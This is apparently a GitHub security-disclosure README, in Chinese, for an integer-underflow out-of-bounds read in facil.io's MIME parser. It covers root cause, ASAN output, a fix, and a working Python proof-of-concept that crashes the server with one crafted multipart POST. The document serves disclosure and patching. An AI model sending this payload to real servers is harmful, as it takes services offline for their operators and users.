theopaid/CVE-2026-66729-Out-of-Bounds-Read-in-facil.io-MIME-Parser-leads-to-Server-Crash
GitHub: theopaid/CVE-2026-66729-Out-of-Bounds-Read-in-facil.io-MIME-Parser-leads-to-Server-Crash
披露 facil.io MIME 解析器中因 uint32_t 下溢导致的越界读取漏洞,并提供完整根因分析、PoC 脚本与修复方案。
Stars: 0 | Forks: 0
# 安全披露:facil.io MIME 解析器越界读取导致服务器崩溃
**分配的 CVE ID** CVE-2026-66729
**产品:** facil.io
**受影响版本:** facil.io >= 0.6.0(所有 0.6.x、所有 0.7.x、master 版本);该漏洞是在 0.6.0 版本中引入 MIME 解析器时产生的
**组件:** `lib/facil/http/parsers/http_mime_parser.h`
**CWE:** CWE-191(整数下溢),CWE-125(越界读取)
**CVSS v3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
**研究员:** Theodosis Paidakis
## 摘要
当 `Content-Disposition` header 包含空字段名(`name=;`)时,multipart MIME body 解析器中的 `uint32_t` 下溢会导致越界读取。当 `name_len` 为零时,`name[name_len - 1]` 会溢出为 `name[0xFFFFFFFF]`,从而读取 `name` 指针之后约 4 GB 的数据。这会触发错误并导致服务器进程崩溃。只需一个未经身份验证的 POST 请求即可实现该攻击。
## 根本原因
**`lib/facil/http/parsers/http_mime_parser.h`,第 235-241 行**
```
// lib/facil/http/parsers/http_mime_parser.h:235-241
} else {
name_len = (size_t)(start - name); // line 239: = 0 when start == name (e.g. "name=;")
}
if (name[name_len - 1] == '"') // line 241: (uint32_t)0 - 1 = 0xFFFFFFFF -> OOB read
--name_len;
```
`name_len` 被声明为 `uint32_t`。对于输入 `name=;`,`memchr` 在与 `name` 相同的位置找到了 `;`,因此 `start - name = 0`。从值为零的 `uint32_t` 中减去 1 会溢出为 `0xFFFFFFFF`。表达式 `name[0xFFFFFFFF]` 会计算为 `name_ptr + 4294967295`,这远远超出了任何映射区域。
另一个分支中第 236 行的检查(`name[name_len - 1] == '\r'`)也具有相同的模式,但在那里 `name_len` 被计算为 `end - name`,在实际运行中它并不为零。
## 概念验证
启动服务器,然后运行:
```
# poc_mime_oob_read.py
import socket
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=;\r\n" # empty name before semicolon
"\r\n"
"value\r\n"
"--B--\r\n"
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.connect(("127.0.0.1", 3000))
s.sendall(req)
print(s.recv(4096)) # no response — server crashed
print('Check the server')
```
ASAN 输出(已确认):
```
AddressSanitizer: BUS at http_mime_parser.h:241
x[10] = 0x00000000FFFFFFFF
```
## 影响
单个请求就会导致 worker 进程崩溃。在多 worker 部署中,只有正在处理请求的 worker 会终止;master 进程会将其重新启动。在单 worker 模式下,服务器会直接下线。读取操作在数据返回之前就会触发错误,因此目前未证实存在信息泄露。
## 修复方案
**`lib/facil/http/parsers/http_mime_parser.h`,第 241 行**
```
// lib/facil/http/parsers/http_mime_parser.h:241 — add zero guard
if (name_len > 0 && name[name_len - 1] == '"')
--name_len;
```
标签:C/C++, MIME解析器, Web服务器, 事务性I/O, 安全漏洞, 拒绝服务, 整数下溢, 越界读取, 逆向工具, 配置错误